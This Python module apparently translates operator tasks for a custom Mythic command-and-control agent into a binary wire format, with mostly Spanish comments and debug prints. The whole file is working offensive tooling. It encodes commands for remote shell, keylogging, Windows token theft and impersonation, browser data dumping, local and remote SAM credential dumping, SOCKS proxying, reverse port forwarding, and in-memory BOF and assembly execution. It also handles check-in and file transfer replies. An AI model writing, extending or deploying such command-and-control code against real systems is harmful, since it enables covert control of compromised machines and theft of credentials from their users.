import json
import base64
from .utils import Packer

commands = {
    "get_tasking": {"hex_code": 0x00, "input_type": None},
    "checkin": {"hex_code": 0xf1, "input_type": None},
    "post_response": {"hex_code": 0x01, "input_type": None},
    "shell": {"hex_code": 0x54, "input_type": "string"},
    "exit": {"hex_code": 0x80, "input_type": None},
    "sleep": {"hex_code": 0x38, "input_type": "int"},
    "ps": {"hex_code": 0x15, "input_type": None},
    "cd": {"hex_code": 0x20, "input_type": "string"},
    "ls": {"hex_code": 0x21, "input_type": "string"},
    "pwd": {"hex_code": 0x22, "input_type": None},
    "cp": {"hex_code": 0x23, "input_type": "string"},
    "mkdir": {"hex_code": 0x24, "input_type": "string"},
    "rm": {"hex_code": 0x25, "input_type": "string"},
    "cat": {"hex_code": 0x26, "input_type": "string"},
    "download": {"hex_code": 0x27, "input_type": "string"},
    "upload": {"hex_code": 0x28, "input_type": "string"},
    "screenshot": {"hex_code": 0x29, "input_type": None},
    # Keylogging controls
    "keylog_start": {"hex_code": 0x30, "input_type": None},
    "keylog_stop": {"hex_code": 0x31, "input_type": None},
    # Token commands
    "list_tokens": {"hex_code": 0x32, "input_type": None},
    "steal_token": {"hex_code": 0x33, "input_type": "string"},
    "make_token": {"hex_code": 0x34, "input_type": "string"},
    "rev2self": {"hex_code": 0x35, "input_type": None},
    "whoami": {"hex_code": 0x36, "input_type": None},
    "kill": {"hex_code": 0x37, "input_type": "string"},
    # Browser information command
    "browser_info": {"hex_code": 0x40, "input_type": None},
    # Browser dump command
    "browser_dump": {"hex_code": 0x41, "input_type": "string"},
    # SAM dump command
    "samdump": {"hex_code": 0x42, "input_type": "string"},
    # Added SOCKS control commands
    "start_socks": {"hex_code": 0x60, "input_type": "int"},
    "stop_socks": {"hex_code": 0x61, "input_type": None},
    # Added Reverse Port Forward commands
    "start_rpfwd": {"hex_code": 0x62, "input_type": "int"},
    "stop_rpfwd": {"hex_code": 0x63, "input_type": None},
    "socks": {"hex_code": 0x60, "input_type": "socks_special"},  # Se maneja especialmente
    # BOF and Assembly execution commands
    "inline_execute": {"hex_code": 0x70, "input_type": "bof_special"},
    "inline_execute_assembly": {"hex_code": 0x71, "input_type": "assembly_special"}
}

def responseTasking(tasks):
    print(f"\n[TRANSLATOR] ========== responseTasking INICIO ==========")
    print(f"[TRANSLATOR] Número de tareas a procesar: {len(tasks)}")
    data = b""
    dataTask = b""

    dataHead = commands["get_tasking"]["hex_code"].to_bytes(1, "big") + len(tasks).to_bytes(4, "big")
    print(f"[TRANSLATOR] dataHead: comando=0x{dataHead[0]:02X}, num_tareas={int.from_bytes(dataHead[1:5], 'big')}, tamaño={len(dataHead)} bytes")

    for task in tasks:
        command_to_run = task["command"]
        print(f"\n[TRANSLATOR] Preparando comando: {command_to_run}")
        
        # Manejar comandos especiales primero (rpfwd, socks)
        if command_to_run == "rpfwd":
            # Comando RPFWD: parsea action para decidir entre START (0x62) o STOP (0x63)
            print(f"[TRANSLATOR] Comando especial RPFWD detectado")
            parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
            action = parameters.get("action", "start")
            port = int(parameters.get("port", 8080))
            
            task_id = task["id"].encode()
            
            if action == "start":
                # START_RPFWD_CMD (0x62) + task_id + nbArg (1) + port
                command_code = bytes([0x62])  # START_RPFWD_CMD
                data = command_code + task_id
                # Para input_type="int", el formato es: UUID (36) + nbArg (4) + param1 (4)...
                nbArg = 1  # Solo el puerto
                data += nbArg.to_bytes(4, "big")
                data += port.to_bytes(4, "big")
                print(f"[TRANSLATOR] RPFWD START: port={port}, nbArg={nbArg}")
            else:
                # STOP_RPFWD_CMD (0x63) + task_id (sin parámetros)
                command_code = bytes([0x63])  # STOP_RPFWD_CMD
                data = command_code + task_id
                print(f"[TRANSLATOR] RPFWD STOP")
            
            task_size = len(data)
            print(f"[TRANSLATOR] Tamaño total de tarea RPFWD: {task_size} bytes")
            print(f"[TRANSLATOR] Desglose: command_code=1, task_id=36, resto={task_size-37} bytes")
            dataTask += task_size.to_bytes(4, "big") + data
            print(f"[TRANSLATOR] Tarea RPFWD agregada. dataTask ahora tiene {len(dataTask)} bytes")
            continue
        
        if command_to_run not in commands:
            print(f"[ERROR] Comando no reconocido en translator: {command_to_run}")
            # Skip unknown command to avoid crashing the translator
            continue
        print(f"[DEBUG] Tipo input: {commands[command_to_run]['input_type']}")
        command_code = commands[command_to_run]["hex_code"].to_bytes(1, "big")
        
        task_id = task["id"].encode()
        task_id_bytes = task["id"].encode()
        task_id_serialized = len(task_id_bytes).to_bytes(4, "big") + task_id_bytes

        if commands[command_to_run]["input_type"] is None:  # Comandos sin parámetros como "ps"
            print("[DEBUG] Entrando en rama input_type=None")
            data = command_code + task_id_serialized
            
            # Check if task has a token associated (for token tasking)
            if "token" in task and task["token"] is not None:
                token_id = task["token"]
                print(f"[DEBUG] Task has token_id: {token_id}")
                # Add token_id as UINT32 (4 bytes, big-endian)
                data += token_id.to_bytes(4, "big")
            
            task_size = len(data)
            print(f"[DEBUG] Tamaño de tarea: {task_size}")
            dataTask += task_size.to_bytes(4, "big") + data

            print("input_type: None")
            print(dataTask)

        elif commands[command_to_run]["input_type"] == "string":
            data = command_code + task_id
            
            if task["parameters"] != "":
                parameters = json.loads(task["parameters"])
                # Normalize paths for upload and ls commands - replace double backslashes
                # cat uses "file" parameter, others use "path"
                if command_to_run in ["upload", "ls", "download", "rm", "mkdir", "cp"] and "path" in parameters:
                    path = parameters["path"]
                    if path:
                        # Replace all sequences of double backslashes with single backslash
                        while "\\\\" in path:
                            path = path.replace("\\\\", "\\")
                        # Ensure path doesn't have trailing nulls or invalid characters
                        path = path.rstrip('\x00')
                        parameters["path"] = path
                        print(f"[DEBUG] Normalized path for {command_to_run}: {repr(path)}")
                # Also normalize "file" parameter for cat and download
                if command_to_run in ["cat", "download"] and "file" in parameters:
                    file_path = parameters["file"]
                    if file_path:
                        # Replace all sequences of double backslashes with single backslash
                        while "\\\\" in file_path:
                            file_path = file_path.replace("\\\\", "\\")
                        # Ensure path doesn't have trailing nulls or invalid characters
                        file_path = file_path.rstrip('\x00')
                        parameters["file"] = file_path
                        print(f"[DEBUG] Normalized file path for {command_to_run}: {repr(file_path)}")
                
                # Special handling for samdump: send parameters in fixed order
                if command_to_run == "samdump":
                    method = parameters.get("method", "registry")
                    # Always send method first
                    method_str = str(method) if method else "registry"
                    nbArgs = 1  # Start with method
                    
                    # Build parameter list in fixed order
                    param_list = [method_str]
                    
                    if method == "files":
                        # sam_path and system_path are optional - will try common paths
                        sam_path = parameters.get("sam_path", "")
                        system_path = parameters.get("system_path", "")
                        if sam_path:
                            param_list.append(str(sam_path))
                            nbArgs += 1
                        if system_path:
                            param_list.append(str(system_path))
                            nbArgs += 1
                    elif method == "remote":
                        # remote_host is required
                        remote_host = parameters.get("remote_host", "")
                        if remote_host:
                            param_list.append(str(remote_host))
                            nbArgs += 1
                        
                        # username and password are optional (only if impersonate=true)
                        impersonate = parameters.get("impersonate", False)
                        if impersonate:
                            username = parameters.get("username", "")
                            password = parameters.get("password", "")
                            if username:
                                param_list.append(str(username))
                                nbArgs += 1
                            if password:
                                param_list.append(str(password))
                                nbArgs += 1
                    
                    data += nbArgs.to_bytes(4, "big")
                    for param_value in param_list:
                        param_str = str(param_value) if param_value else ""
                        data += len(param_str).to_bytes(4, "big")
                        data += param_str.encode()
                else:
                    # Original format for other commands
                    data += len(parameters).to_bytes(4,"big")
                    for param in parameters:
                        param_value = parameters[param]
                        # Convert parameter value to string if it's not already
                        if not isinstance(param_value, str):
                            param_value = str(param_value)
                        data += len(param_value).to_bytes(4, "big")
                        data += param_value.encode()
            else:
                data += b"\x00\x00\x00\x00"
            
            # Check if task has a token associated (for token tasking) - add after parameters
            if "token" in task and task["token"] is not None:
                token_id = task["token"]
                print(f"[DEBUG] Task has token_id: {token_id}")
                # Add token_id as UINT32 (4 bytes, big-endian) after parameters
                data += token_id.to_bytes(4, "big")
            
            dataTask += len(data).to_bytes(4, "big") + data

        elif commands[command_to_run]["input_type"] == "int":
            print(f"[TRANSLATOR] input_type=='int' para comando {command_to_run}")
            print(f"[TRANSLATOR] task_id (raw): {task_id}, len={len(task_id)}")
            # Para input_type=="int", el task_id se envía directamente sin prefijo de longitud (36 bytes)
            data = command_code + task_id
            print(f"[TRANSLATOR] data después de command_code+task_id: {len(data)} bytes (1+36=37)")
            
            if task["parameters"] != "":
                parameters = json.loads(task["parameters"])
                print(f"[TRANSLATOR] Parámetros parseados: {parameters}")
                nbArg = len(parameters)
                data += nbArg.to_bytes(4, "big")
                print(f"[TRANSLATOR] nbArg agregado: {nbArg} (4 bytes)")
                for param in parameters:
                    param_value = parameters[param]
                    print(f"[TRANSLATOR] Agregando parámetro '{param}' = {param_value} (4 bytes)")
                    # Expecting integer values in parameters dict
                    data += int(param_value).to_bytes(4, "big")  # Convertir el int correctamente
            else:
                print(f"[TRANSLATOR] Sin parámetros, agregando nbArg=0")
                data += b"\x00\x00\x00\x00"
            
            task_size = len(data)
            print(f"[TRANSLATOR] Tamaño total de tarea (incluye command_code): {task_size} bytes")
            print(f"[TRANSLATOR] Desglose: command_code=1, task_id=36, nbArg=4, params={task_size-1-36-4} bytes")
            dataTask += task_size.to_bytes(4, "big") + data
            print(f"[TRANSLATOR] Tarea agregada a dataTask. dataTask ahora tiene {len(dataTask)} bytes")
        
        elif commands[command_to_run]["input_type"] == "socks_special":
            # Comando SOCKS: parsea action para decidir entre START (0x60) o STOP (0x61)
            parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
            action = parameters.get("action", "start")
            port = parameters.get("port", 1080)
            
            if action == "start":
                # START_SOCKS_CMD (0x60) + task_id + puerto
                data = bytes([0x60]) + task_id
                data += port.to_bytes(4, "big")
                print(f"[TRANSLATOR] SOCKS START: port={port}")
            else:
                # STOP_SOCKS_CMD (0x61) + task_id (sin parámetros)
                data = bytes([0x61]) + task_id
                print(f"[TRANSLATOR] SOCKS STOP")
            
            dataTask += len(data).to_bytes(4, "big") + data
        
        elif commands[command_to_run]["input_type"] == "bof_special":
            # inline_execute: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
            # Similar to Xenon: serialize arguments in translator using Packer
            parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
            file_id = parameters.get("bof_file", "")
            
            data = command_code + task_id
            # Add file_id
            file_id_bytes = file_id.encode('utf-8')
            data += len(file_id_bytes).to_bytes(4, "big")
            data += file_id_bytes
            
            # Serialize BOF arguments using Packer (like Xenon)
            bof_args = parameters.get("bof_arguments", [])
            if bof_args and len(bof_args) > 0:
                packer = Packer()
                # Handle TypedList as single length-prefixed argument to Agent (like Xenon)
                for item in bof_args:
                    item_type, item_value = item
                    if item_type == "int16":
                        packer.addshort(int(item_value))
                    elif item_type == "int32":
                        # Convert to int, handling both bool and int values
                        if isinstance(item_value, bool):
                            packer.adduint32(1 if item_value else 0)
                        else:
                            packer.adduint32(int(item_value))
                    elif item_type == "bytes":
                        # Convert hex string to bytes
                        packer.addbytes(bytes.fromhex(item_value))
                    elif item_type == "string":
                        packer.addstr(item_value)
                    elif item_type == "wchar":
                        packer.addWstr(item_value)
                    elif item_type == "base64":
                        try:
                            decoded_value = base64.b64decode(item_value)
                            packer.addstr(decoded_value)
                        except Exception:
                            print(f"[TRANSLATOR] Error: Invalid base64 string: {item_value}")
                            # Fallback: add as empty string
                            packer.addstr("")
                
                # Packer.getbuffer() returns length-prefixed buffer: [size:4 bytes LE][data]
                packed_params = packer.getbuffer()
                # Send as length-prefixed string (big-endian for length prefix, like other strings)
                data += len(packed_params).to_bytes(4, "big")
                data += packed_params
            else:
                # No arguments - send empty buffer
                data += (0).to_bytes(4, "big")
            
            task_size = len(data)
            dataTask += task_size.to_bytes(4, "big") + data
            print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_packed={len(bof_args) if bof_args else 0} items")
        
        elif commands[command_to_run]["input_type"] == "assembly_special":
            # inline_execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
            parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
            # For inline_execute_assembly, it uses subtasks, so we might not get direct parameters
            # This command is handled via subtasks in Python, so it may not reach here directly
            # But we'll handle it if it does
            file_id = parameters.get("assembly_file", parameters.get("shellcode_file", ""))
            
            data = command_code + task_id
            # Add file_id
            if file_id:
                file_id_bytes = file_id.encode('utf-8')
                data += len(file_id_bytes).to_bytes(4, "big")
                data += file_id_bytes
            else:
                data += (0).to_bytes(4, "big")
            
            # Add assembly arguments
            assembly_args = parameters.get("assembly_arguments", "")
            args_bytes = assembly_args.encode('utf-8') if assembly_args else b""
            data += len(args_bytes).to_bytes(4, "big")
            data += args_bytes
            
            task_size = len(data)
            dataTask += task_size.to_bytes(4, "big") + data
            print(f"[TRANSLATOR] {command_to_run}: file_id={file_id}, args_len={len(args_bytes)}")
    
    dataToSend = dataHead + dataTask
    print(f"[TRANSLATOR] ========== responseTasking FIN ==========")
    print(f"[TRANSLATOR] dataHead: {len(dataHead)} bytes")
    print(f"[TRANSLATOR] dataTask: {len(dataTask)} bytes")
    print(f"[TRANSLATOR] dataToSend TOTAL: {len(dataToSend)} bytes, {len(tasks)} task(s)")
    print(f"[TRANSLATOR] Primer byte: 0x{dataToSend[0]:02X} (GET_TASKING)")
    print(f"[TRANSLATOR] Número de tareas: {int.from_bytes(dataToSend[1:5], 'big')}")
    if len(dataToSend) > 5:
        print(f"[TRANSLATOR] Primeros bytes de dataTask: {dataToSend[5:min(20, len(dataToSend))].hex()}")
    return dataToSend


def responseCheckin(uuid, server_pubkey=""):
    """
    Construye la respuesta de checkin.
    Nota: server_pubkey ya no se usa (cifrado AESPSK se inyecta en build time).
    """
    data = bytearray()
    data.append(commands["checkin"]["hex_code"])  # 0xF1
    data += uuid.encode()  # UUID del agente
    # Longitud 0 para clave pública (ya no se usa ECDH)
    data += (0).to_bytes(4, "big")

    return bytes(data)


def responsePosting(responses):
    data = len(responses).to_bytes(4, "big")
    for response in responses:
        if response["status"] == "success":
            data += b"\x01"
        else: 
            data += b"\x00"
        
        # Check if this response has a file_id (from download registration)
        # When Mythic responds to a download registration, it includes file_id
        if "file_id" in response:
            file_id = response["file_id"]
            file_id_bytes = file_id.encode('utf-8')
            # Format: [0xFB marker][file_id_len:4][file_id]
            data += bytes([0xFB])  # File ID marker
            data += len(file_id_bytes).to_bytes(4, "big")
            data += file_id_bytes
            print(f"[DOWNLOAD] File ID agregado a respuesta binaria: {file_id}")
        
        # Check if this response is for an upload request
        # When Mythic responds to an upload request, it includes upload data directly in response
        # Format from Mythic: {"chunk_data": "...", "chunk_num": 1, "total_chunks": 1, "file_id": "...", ...}
        if "chunk_data" in response and "chunk_num" in response:
            # Format: [0xF9 marker][total_chunks:4][chunk_num:4][chunk_data_len:4][chunk_data_base64]
            data += bytes([0xF9])  # Upload response marker
            data += response.get("total_chunks", 0).to_bytes(4, "big")
            data += response.get("chunk_num", 0).to_bytes(4, "big")
            
            chunk_data_b64 = response.get("chunk_data", "")
            chunk_data_bytes = chunk_data_b64.encode('utf-8')
            data += len(chunk_data_bytes).to_bytes(4, "big")
            data += chunk_data_bytes
            print(f"[UPLOAD] Upload response agregado: total_chunks={response.get('total_chunks', 0)}, chunk_num={response.get('chunk_num', 0)}, data_len={len(chunk_data_bytes)}")
    
    return data
